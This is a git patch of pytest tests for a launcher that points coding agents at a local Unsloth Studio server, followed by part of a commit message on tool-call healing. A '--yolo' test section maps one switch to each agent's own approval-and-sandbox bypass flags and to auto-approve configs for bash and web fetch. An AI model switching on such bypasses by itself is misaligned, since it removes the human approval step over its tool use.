bracketed + ("http://[::1]:8888", "http://[::1]:8888"), + # Paths are stripped: unsloth run serves at the root, so /studio would make the + # health poll hit /studio/api/health (404) until the startup timeout. + ("http://127.0.0.1:8888/studio", "http://127.0.0.1:8888"), + ("http://127.0.0.1/studio", "http://127.0.0.1:8888"), + ], +) +def test_effective_base(base, expected): + assert start._effective_base(base) == expected + + +def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch): + # A portless UNSLOTH_STUDIO_URL must launch AND poll :8888 (what unsloth run binds), + # not port 80, or readiness never matches and we hit the startup timeout. + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1") + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started["base"] = base + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr(start, "_shutdown_server", lambda server: None) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + + result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"]) + assert result.exit_code == 0, result.output + assert started["base"] == "http://127.0.0.1:8888" + + +def test_connect_explicit_api_key_skips_mint(fake_studio): + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) + + +# ── OpenClaw (Anthropic /v1/messages) ──────────────────────────────── + + +def test_write_openclaw_config_fresh(tmp_path): + path = tmp_path / "openclaw.json" + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["models"]["providers"]["unsloth"] + assert provider["baseUrl"] == f"{BASE}/v1" + assert provider["apiKey"] == "sk-unsloth-abc" + assert provider["api"] == "openai-completions" + assert provider["models"] == [ + {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]} + ] + # The default model must be pinned or OpenClaw has nothing active. + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + assert config["gateway"]["mode"] == "local" + assert config["gateway"]["auth"]["mode"] == "none" # unauth loopback gateway + if os.name != "nt": # the file holds an API key + assert path.stat().st_mode & 0o777 == 0o600 + + +def test_write_openclaw_config_preserves_and_idempotent(tmp_path): + path = tmp_path / "openclaw.json" + path.write_text( + json.dumps( + { + "theme": "dark", + "agents": {"defaults": {"temperature": 0.5}}, + "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}}, + } + ) + ) + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["theme"] == "dark" + assert config["agents"]["defaults"]["temperature"] == 0.5 # other agent defaults kept + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + assert config["models"]["mode"] == "replace" # user's mode is left as-is + assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x" + assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" + before = path.read_text() + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_write_openclaw_config_corrupt_left_alone(tmp_path, capsys): + path = tmp_path / "openclaw.json" + path.write_text("{not json") + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == "{not json" + assert "couldn't parse" in capsys.readouterr().err + + +def test_connect_openclaw_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "openclaw" in result.output + config_path = tmp_path / "agents" / "openclaw" / "openclaw.json" + # Config + state are scoped to the session dir, not the user's ~/.openclaw. + _assert_env_set(result.output, "OPENCLAW_CONFIG_PATH", str(config_path)) + _assert_env_set(result.output, "OPENCLAW_STATE_DIR", str(tmp_path / "agents" / "openclaw")) + config = json.loads(config_path.read_text()) + assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" + # OpenAI /v1/chat/completions works on either backend — no GGUF gate. + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── OpenCode (OpenAI /v1/chat/completions) ─────────────────────────── + + +def test_write_opencode_config_fresh(tmp_path): + path = tmp_path / "opencode.json" + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["provider"]["unsloth"] + assert provider["npm"] == "@ai-sdk/openai-compatible" + assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"} + # Context limit must be declared, or OpenCode treats it as 0 and disables compaction. + assert provider["models"] == { + MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}} + } + assert config["model"] == f"unsloth/{MODEL['id']}" + # Compaction buffer scaled to ~10% of the window (compact near 90%). + assert config["compaction"] == {"auto": True, "reserved": 131072 // 10} + + +def test_write_opencode_config_preserves_and_idempotent(tmp_path): + path = tmp_path / "opencode.json" + path.write_text( + json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}}) + ) + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["theme"] == "tokyonight" + assert config["provider"]["anthropic"]["name"] == "Anthropic" + assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1" + before = path.read_text() + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_connect_opencode_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "opencode" in result.output + config_path = tmp_path / "agents" / "opencode" / "opencode.json" + # OPENCODE_CONFIG overlay points at the session file, not the user's global config. + _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path)) + config = json.loads(config_path.read_text()) + assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["model"] == f"unsloth/{MODEL['id']}" + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── Hermes (OpenAI /v1/chat/completions, key via env) ──────────────── + + +@pytest.fixture() +def hermes_config(tmp_path): + return tmp_path / "config.yaml" + + +def test_write_hermes_config_fresh(hermes_config): + yaml = pytest.importorskip("yaml") + start.write_hermes_config(BASE, MODEL, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + # Hermes only honors the key for a *named* custom provider, so the endpoint + # is registered under providers.* and model.provider points at it. + assert config["model"]["provider"] == "custom:unsloth" + assert config["model"]["default"] == MODEL["id"] + assert config["model"]["api_mode"] == "openai" + # Pin the real context window (top-level override) and compact at 90% of it. + assert config["model"]["context_length"] == MODEL["context_length"] + assert config["compression"] == {"enabled": True, "threshold": 0.9} + # Windows at or above Hermes' floor need no auxiliary compression override. + assert "auxiliary" not in config + provider = config["providers"]["unsloth"] + assert provider["base_url"] == f"{BASE}/v1" + assert provider["api_mode"] == "openai" + assert provider["key_env"] == "UNSLOTH_API_KEY" + # The key is resolved from the launch env, never written to disk. + assert "sk-unsloth" not in hermes_config.read_text() + + +def test_write_hermes_config_small_window_claims_floor(hermes_config): + yaml = pytest.importorskip("yaml") + small = {"id": "unsloth/Qwen3-1.7B-GGUF", "context_length": 40960} + start.write_hermes_config(BASE, small, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + # Hermes refuses to initialize below its 64,000-token floor, so the recipe + # claims the floor and scales the compaction threshold so it still fires at + # 90% of the REAL window: 0.9 * 40960 / 65536. + assert config["model"]["context_length"] == 65536 + assert config["compression"] == {"enabled": True, "threshold": 0.5625} + # The same floor check runs against the compression model mid-session. + assert config["auxiliary"]["compression"]["context_length"] == 65536 + + +def test_write_hermes_config_preserves_and_idempotent(hermes_config): + yaml = pytest.importorskip("yaml") + hermes_config.write_text( + yaml.safe_dump( + { + "terminal": {"backend": "local"}, + "model": {"temperature": 0.7}, + "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}}, + } + ) + ) + start.write_hermes_config(BASE, MODEL, hermes_config) + config = yaml.safe_load(hermes_config.read_text()) + assert config["terminal"] == {"backend": "local"} # unrelated sections kept + assert config["model"]["temperature"] == 0.7 # unrelated model keys kept + assert config["model"]["provider"] == "custom:unsloth" + assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" + assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" + before = hermes_config.read_text() + start.write_hermes_config(BASE, MODEL, hermes_config) + assert hermes_config.read_text() == before + + +def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys): + pytest.importorskip("yaml") + original = "- just\n- a\n- list\n" # valid YAML, but not a mapping + hermes_config.write_text(original) + start.write_hermes_config(BASE, MODEL, hermes_config) + assert hermes_config.read_text() == original # user-managed file left untouched + assert "couldn't parse" in capsys.readouterr().err + + +def test_connect_hermes_no_launch(fake_studio, tmp_path): + yaml = pytest.importorskip("yaml") + result = CliRunner().invoke(start.start_app, ["hermes", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface") + # HERMES_HOME relocates the whole hermes home, so the user's ~/.hermes is untouched. + home = tmp_path / "agents" / "hermes" + _assert_env_set(result.output, "HERMES_HOME", str(home)) + assert "hermes" in result.output + config = yaml.safe_load((home / "config.yaml").read_text()) + assert config["model"]["provider"] == "custom:unsloth" + assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" + assert config["model"]["default"] == MODEL["id"] + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +# ── Pi (OpenAI-compatible /v1, key in config, ~/.pi relocated via HOME) ── + + +def test_write_pi_config_fresh(tmp_path): + path = tmp_path / ".pi" / "agent" / "models.json" + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + provider = config["providers"]["unsloth"] + assert provider["api"] == "openai-completions" + assert provider["baseUrl"] == f"{BASE}/v1" + assert provider["apiKey"] == "sk-unsloth-abc" + # Pin the loaded window (and a sane output cap) so Pi compacts instead of + # overflowing; without it Pi assumes its 128000 default. + assert provider["models"] == [ + {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192} + ] + + +def test_write_pi_config_preserves_and_idempotent(tmp_path): + path = tmp_path / ".pi" / "agent" / "models.json" + path.parent.mkdir(parents = True) + path.write_text(json.dumps({"providers": {"google": {"api": "gemini"}}})) + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + config = json.loads(path.read_text()) + assert config["providers"]["google"] == {"api": "gemini"} # unrelated provider kept + assert config["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" + before = path.read_text() + start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path) + assert path.read_text() == before + + +def test_connect_pi_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + # Pi resolves its config dir from PI_CODING_AGENT_DIR first, so pin it at the session + # dir (and relocate HOME) to keep the user's real ~/.pi untouched and their own + # PI_CODING_AGENT_DIR from redirecting Pi away from our provider/key. + home = tmp_path / "agents" / "pi" + _assert_env_set(result.output, "HOME", str(home)) + _assert_env_set(result.output, "PI_CODING_AGENT_DIR", str(home / ".pi" / "agent")) + # Provider/model pinned on the command (Pi defaults to google otherwise). + assert f"pi --provider unsloth --model {MODEL['id']}" in result.output + config = json.loads((home / ".pi" / "agent" / "models.json").read_text()) + assert config["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" + assert config["providers"]["unsloth"]["models"] == [ + {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192} + ] + assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) + + +def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch): + # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session + # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi. + monkeypatch.setattr(start.os, "name", "nt") + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + home = tmp_path / "agents" / "pi" + assert f'$env:HOME = "{home}"' in result.output + assert f'$env:USERPROFILE = "{home}"' in result.output + + +# ── WSLENV path translation + PowerShell quoting (helper units) ── + + +def test_wsl_bridge_names_flags_paths_not_scalars(): + # WSLENV only translates a var to a Windows path when its entry carries /p. + # Path-valued vars must get it; scalar knobs and URLs must not, or WSLENV would + # mangle them when handing off to a Windows shim under /mnt. + env = { + "CODEX_HOME": "/tmp/sess/codex", + "HOME": "/tmp/sess/pi", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "4096", + "ANTHROPIC_BASE_URL": "http://127.0.0.1:8888", + "USERPROFILE": r"C:\Users\x", + } + names = start._wsl_bridge_names(env, ("ANTHROPIC_API_KEY",)) + assert "CODEX_HOME/p" in names + assert "HOME/p" in names + assert "USERPROFILE/p" in names # drive-qualified Windows path + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" in names # scalar: no /p + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW/p" not in names + assert "ANTHROPIC_BASE_URL" in names # URL is not a filesystem path + assert "ANTHROPIC_API_KEY" in names # cleared var carries no value to translate + + +def test_merge_wslenv_dedups_on_base_name(): + # An already-shared var must not be appended again just because the flag differs. + merged = start._merge_wslenv("CODEX_HOME/p:FOO", ("CODEX_HOME/p", "BAR/p")) + parts = merged.split(":") + assert parts.count("CODEX_HOME/p") == 1 + assert "FOO" in parts and "BAR/p" in parts + + +def test_merge_wslenv_upgrades_existing_unflagged_entry(): + # A user's pre-existing bare "HOME" must be upgraded to "HOME/p" (not left bare or + # duplicated), or the Windows shim gets the path without WSL translation. + merged = start._merge_wslenv("HOME:FOO", ("HOME/p", "CODEX_HOME/p")) + parts = merged.split(":") + assert "HOME/p" in parts and "HOME" not in parts # upgraded in place + assert parts.count("HOME/p") == 1 + assert "FOO" in parts # untouched user var preserved + assert "CODEX_HOME/p" in parts + + +def test_powershell_quote_single_quotes_json(): + # Bare flags/paths pass through; JSON payloads get single-quoted so PowerShell + # keeps the embedded double quotes literal (list2cmdline's backslashes would not). + assert start._powershell_quote("--settings") == "--settings" + assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B" + quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY) + assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'" + assert "\\" not in quoted # no cmd.exe backslash escaping + assert start._powershell_quote("a'b") == "'a''b'" # embedded quote doubled + + +# ── --yolo: one switch routed to each agent's own auto-approve form ── + +# The native "run tools without prompting" CLI flag each agent should receive. +_NATIVE_YOLO = { + "claude": "--dangerously-skip-permissions", + "codex": "--dangerously-bypass-approvals-and-sandbox", + "hermes": "--yolo", + "pi": "--approve", +} + + +@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items())) +def test_yolo_routes_to_native_flag(fake_studio, agent, native): + result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + assert native in result.output + + +@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items())) +def test_no_yolo_omits_native_flag(fake_studio, agent, native): + result = CliRunner().invoke(start.start_app, [agent, "--no-launch"]) + assert result.exit_code == 0, result.output + # pi's --approve is a real flag only added under --yolo; assert it's absent here. + command = _launch_command(result.output) + assert command and command[0] == agent, result.output + assert native not in command + + +@pytest.mark.parametrize( + "alias", + ["--yolo", "--dangerously-skip-permissions", "--dangerously-bypass-approvals-and-sandbox"], +) +def test_yolo_aliases_are_interchangeable(fake_studio, alias): + # Any spelling on any agent routes to that agent's own flag, even the "wrong" one. + claude = CliRunner().invoke(start.start_app, ["claude", alias, "--no-launch"]) + assert claude.exit_code == 0, claude.output + assert "--dangerously-skip-permissions" in claude.output + # The codex spelling must not leak through to Claude's command line. + assert "--dangerously-bypass-approvals-and-sandbox" not in claude.output + + codex = CliRunner().invoke(start.start_app, ["codex", alias, "--no-launch"]) + assert codex.exit_code == 0, codex.output + assert "--dangerously-bypass-approvals-and-sandbox" in codex.output + assert "--dangerously-skip-permissions" not in codex.output + + +def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text()) + assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + + +def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text()) + assert "permission" not in config + + +def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + state = tmp_path / "agents" / "openclaw" + config = json.loads((state / "openclaw.json").read_text()) + assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"} + # Both layers: the host approvals file in OPENCLAW_STATE_DIR must also be set, or + # OpenClaw can still prompt/deny despite the config. + approvals = json.loads((state / "exec-approvals.json").read_text()) + assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"} + + +def test_no_yolo_openclaw_has_no_exec_policy(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"]) + assert result.exit_code == 0, result.output + state = tmp_path / "agents" / "openclaw" + config = json.loads((state / "openclaw.json").read_text()) + assert "exec" not in config.get("tools", {}) # no auto-approve policy without --yolo + assert not (state / "exec-approvals.json").exists() + + +def test_write_opencode_config_yolo_unit(tmp_path): + path = tmp_path / "opencode.json" + start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True) + config = json.loads(path.read_text()) + assert config["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + + +def test_write_openclaw_config_yolo_unit(tmp_path): + path = tmp_path / "openclaw.json" + start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True) + config = json.loads(path.read_text()) + assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"} + approvals = json.loads((path.parent / "exec-approvals.json").read_text()) + assert approvals == { + "version": 1, + "defaults": {"security": "full", "ask": "off", "askFallback": "full"}, + } + + +def test_yolo_command_flags_unmapped_agent_is_empty(): + # Config-based agents (and any typo) must yield no flag, not a KeyError. + assert start._yolo_command_flags("opencode", True) == [] + assert start._yolo_command_flags("openclaw", True) == [] + assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"] + assert start._yolo_command_flags("claude", False) == [] + + +def test_yolo_config_agents_add_no_command_flag(fake_studio): + # opencode/openclaw auto-approve is config-only; nothing should leak onto argv. + for agent in ("opencode", "openclaw"): + result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"]) + assert result.exit_code == 0, result.output + command = _launch_command(result.output) + assert command and command[0] == agent, result.output + assert not any("--yolo" in arg or "--dangerous" in arg for arg in command) + + +def test_pi_launch_clears_screen_first(fake_studio, monkeypatch): + # Pi paints inline from the current cursor position (no alternate screen, no + # clear on its first render), so the launcher hands it a clean screen. The + # clear must come BEFORE the exec, and only on the launch path. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/pi") + + def run(command, env): + calls.append("exec") + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["pi"]) + assert result.exit_code == 0, result.output + assert calls == ["clear", "exec"] + + +def test_pi_no_launch_does_not_clear(fake_studio, monkeypatch): + # The --no-launch recipe is meant to be read (and piped); never wipe it. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"]) + assert result.exit_code == 0, result.output + assert calls == [] + + +def test_claude_launch_does_not_clear(fake_studio, monkeypatch): + # Alternate-screen agents manage the terminal themselves; leave it alone. + calls = [] + monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear")) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start, "_claude_flags", lambda: []) + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + result = CliRunner().invoke(start.start_app, ["claude"]) + assert result.exit_code == 0, result.output + assert calls == [] + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario: a Windows pi shim under /mnt called from WSL " + "(os.name is 'posix' under WSL), so this can't run on a native Windows runner.", +) +def test_connect_pi_wsl_windows_shim_relocates_userprofile(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setattr(start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/pi") + + def run(command, env): + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["pi"]) + assert result.exit_code == 0, result.output + home = captured["env"]["HOME"] + # A Windows pi shim resolves ~/.pi via USERPROFILE, so it must match the session + # HOME and ride the WSLENV bridge (with /p) so the path is translated for Windows. + assert captured["env"]["USERPROFILE"] == home + wslenv = captured["env"]["WSLENV"].split(":") + assert "HOME/p" in wslenv + assert "USERPROFILE/p" in wslenv + + +def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp_path, monkeypatch): + # UNSLOTH_API_KEY exported for some OTHER server must not fail the launch + # against a server this run just auto-started: validate, then fall back to + # the local mint path, and never remember the foreign key for this base. + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-other-server": + raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + key = start._agent_api_key(BASE, "sk-unsloth-other-server", auto_started = True) + assert key == "sk-unsloth-feedfacefeedface" # minted for the fresh server + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert "sk-unsloth-other-server" not in json.dumps(cached["servers"].get(BASE, {})) + + +def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path): + # An explicit key the fresh server accepts (e.g. persisted in this Studio + # home's auth db across restarts) keeps working exactly as before. + key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True) + assert key == "sk-unsloth-deadbeefdeadbeef" + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] + + +def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path): + # A previously printed recipe may still be running an agent whose sessions + # or sqlite state live in the stable home; a re-run must not wipe it. + with start._session_config("codex", launch = False) as home: + marker = home / "sessions" / "live.sqlite" + marker.parent.mkdir(parents = True) + marker.write_text("state") + with start._session_config("codex", launch = False) as home2: + assert home2 == home + assert (home2 / "sessions" / "live.sqlite").read_text() == "state" From 308ea5a93cd07b72e0e3ed1afa0cd987300769fa Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 3 Jul 2026 08:22:42 -0700 Subject: [PATCH 20/27] Tool-call healing (default on) and opt-in nudging for the client-tool passthrough (#6801) * inference: add passthrough tool-call healing core (heal_gate, heal_openai_message, StreamToolCallHealer, nudge helpers) Small GGUF models often emit tool calls as text ({...}, Gemma <|tool_call>, XML) instead of structured tool_calls. Studio's enable-tools loop already heals these, but the client-tool passthrough (unsloth run --disable-tools, unsloth start agents) relays them verbatim, so the agent sees prose and the turn dies. This module is the shared response-side repair layer the passthrough routes will call: promote parsed text-form calls to structured calls, but only for function names the client actually declared; coerce arguments through the same canonical-key healing as the tool loop; never touch the upstream request body (llama-server KV/slot reuse stays byte-identical). StreamToolCallHealer is the streaming buffer-and-repair state machine: prose forwards immediately, only a partial-signal tail or a suspected tool block is held, false alarms flush verbatim, and a 64 KiB bound caps memory. nudge_should_retry/nudge_messages support an opt-in single-retry nudge for non-streaming routes (wired later). Kill-switch: UNSLOTH_DISABLE_TOOL_CALL_HEALING=1. Reuses core/tool_healing.parse_tool_calls_from_text, strip_tool_call_markup, and tool_loop_controller.coerce_tool_arguments unchanged. * inference: heal text-form tool calls on the OpenAI and Responses passthrough Wire the passthrough healing core into /v1/chat/completions and /v1/responses, default ON whenever the request declares client tools: Non-streaming: heal_openai_message runs inside the existing response-mutation loop; a promoted call flips finish_reason to tool_calls and nulls the content, and the verbatim-bytes fast path still applies when nothing was healed. /v1/responses non-streaming inherits this through openai_chat_completions. Streaming: a StreamToolCallHealer per stream. Ordinary prose relays byte-for-byte (a fast path keeps upstream bytes when the healer passes a chunk through whole); once a tool signal appears, content is held, and at the finish/[DONE] boundary either synthetic delta.tool_calls chunks replace the markup (finish_reason rewritten to tool_calls, including the synthetic-finish path) or a false alarm flushes the held text verbatim. Structured upstream deltas put the healer to sleep after flushing anything held, so grammar-mode responses stay byte-identical. The Responses stream feeds healed calls through the same per-call state machinery as structured deltas (indexes live in a disjoint range so a healed call can never merge into a structured call's state), and the visible/reasoning split runs first so reasoning text is never promoted. parallel_tool_calls=false caps healed calls on every path. The upstream request body is never touched and healing issues no extra generation, so llama-server slot/KV-cache reuse is unchanged. Opt-out per request with auto_heal_tool_calls=false (Responses reads it from the extra-body); requests without tools relay verbatim. * inference: heal text-form tool calls on the Anthropic /v1/messages passthrough Streaming: AnthropicPassthroughEmitter.enable_healing(allowed_tools) routes content deltas through the shared StreamToolCallHealer. A promoted call closes any open text block (only the safe prose prefix ever streamed into it), opens a synthetic tool_use block with a fresh toolu_* id, carries one input_json_delta, and closes; finish() then forces stop_reason to tool_use unless a truncation (max_tokens) wins. Structured upstream deltas flush anything held and put the healer to sleep, so grammar-mode responses are untouched, as is every stream where enable_healing is never called (Studio's own loop, no-tools requests). disable_parallel_tool_use caps healed calls too. Non-streaming: the OpenAI message dict is healed BEFORE block building, so the existing tool_use promotion loop and stop_reason line treat promoted calls exactly like native ones (finish_reason length still maps to max_tokens). The legacy tool-XML strip still runs on remaining text, so opted-out requests keep today's cleanup behavior byte-for-byte. auto_heal_tool_calls is now a typed field on AnthropicMessagesRequest (default True, mirroring Chat Completions) and threads into both passthrough calls. Healing never touches the upstream request body. * inference: opt-in single-retry tool-call nudge on the non-streaming passthrough When the model clearly tried to call a tool (a tool signal in the text) but healing produced nothing usable, re-ask once: the retry body is the original body plus an assistant turn (the model's own failed text) and a short user nudge naming the declared tools. The prompt prefix stays byte-identical, so llama-server reuses the slot's KV cache and only the two-message suffix is prefilled. The retry replaces the original response only when it actually yields a promotable or structured call; on any error or still-garbage output the original response is returned unchanged. Exactly one retry, non-streaming OpenAI and Anthropic passthroughs only (a stream has already emitted bytes). OPT-IN per user decision: nudge_tool_calls=true per request (typed on both ChatCompletionRequest and AnthropicMessagesRequest, lifted from the Responses extra-body), or UNSLOTH_TOOL_CALL_NUDGE=1 to flip the process default. auto_heal_tool_calls=false disables healing AND the nudge. Also align the non-streaming heal on allow_incomplete=True: the response is final, so a trailing unclosed tool block is a model failure worth repairing, matching the enable-tools loop's drain semantics. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * inference: never assume the upstream response shape in the nudge helpers llama-server error bodies can carry message: null (or no choices at all), and _last_assistant_text / response_has_promotable_calls / nudge_should_retry called .get() on the message without a dict check, so a malformed upstream response raised an AttributeError the surrounding except tuples did not catch, failing the request instead of degrading to 'nothing to heal'. Route the shape probing through one _first_choice_message helper that returns None for any non-dict message, and add a parametrized test over the malformed shapes. * inference: constrain healing by tool_choice, preserve length finish_reason, keep healed event order in Responses streams Three review findings on the passthrough healer: - heal_gate now honors the request's tool_choice: "none" disables healing outright and a forced function narrows the promotion allowlist to that one function, so healing can never contradict the request's tool-choice constraint. Wired through the OpenAI chat (stream and non-stream), Responses, and Anthropic (converted shape) passthroughs. - The OpenAI non-streaming heal only upgrades finish_reason "stop" to "tool_calls"; a truncated generation keeps "length" (the healed call stays attached) matching the streaming and Anthropic paths. - The Responses stream emits healer events in order instead of collapsing all text ahead of the healed calls, so text after a healed call no longer jumps ahead of the function_call item and output indexes are claimed in the order the model produced them. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * inference: all-or-nothing promotion when a response mixes declared and undeclared text-form calls Promoting a subset used to strip ALL tool markup from the content, which silently deleted the text of any call naming an undeclared tool. The heal now declines entirely when any parsed call is unpromotable, so the whole message relays verbatim (pre-PR behavior) and no bytes are ever lost. In streaming, a declared call that completed before an undeclared one arrived is already emitted; the late undeclared markup still flushes as raw text. The nudge helpers mirror the same contract via a shared predicate. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * tests: wrap long lines in the Responses healing tests to the project style * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * inference: span-exact healing, disjoint healed stream indexes, per-call Responses message items, allowlisted nudge acceptance Four review findings on the passthrough healer: - parse_tool_calls_from_text gains an optional with_spans return so healing 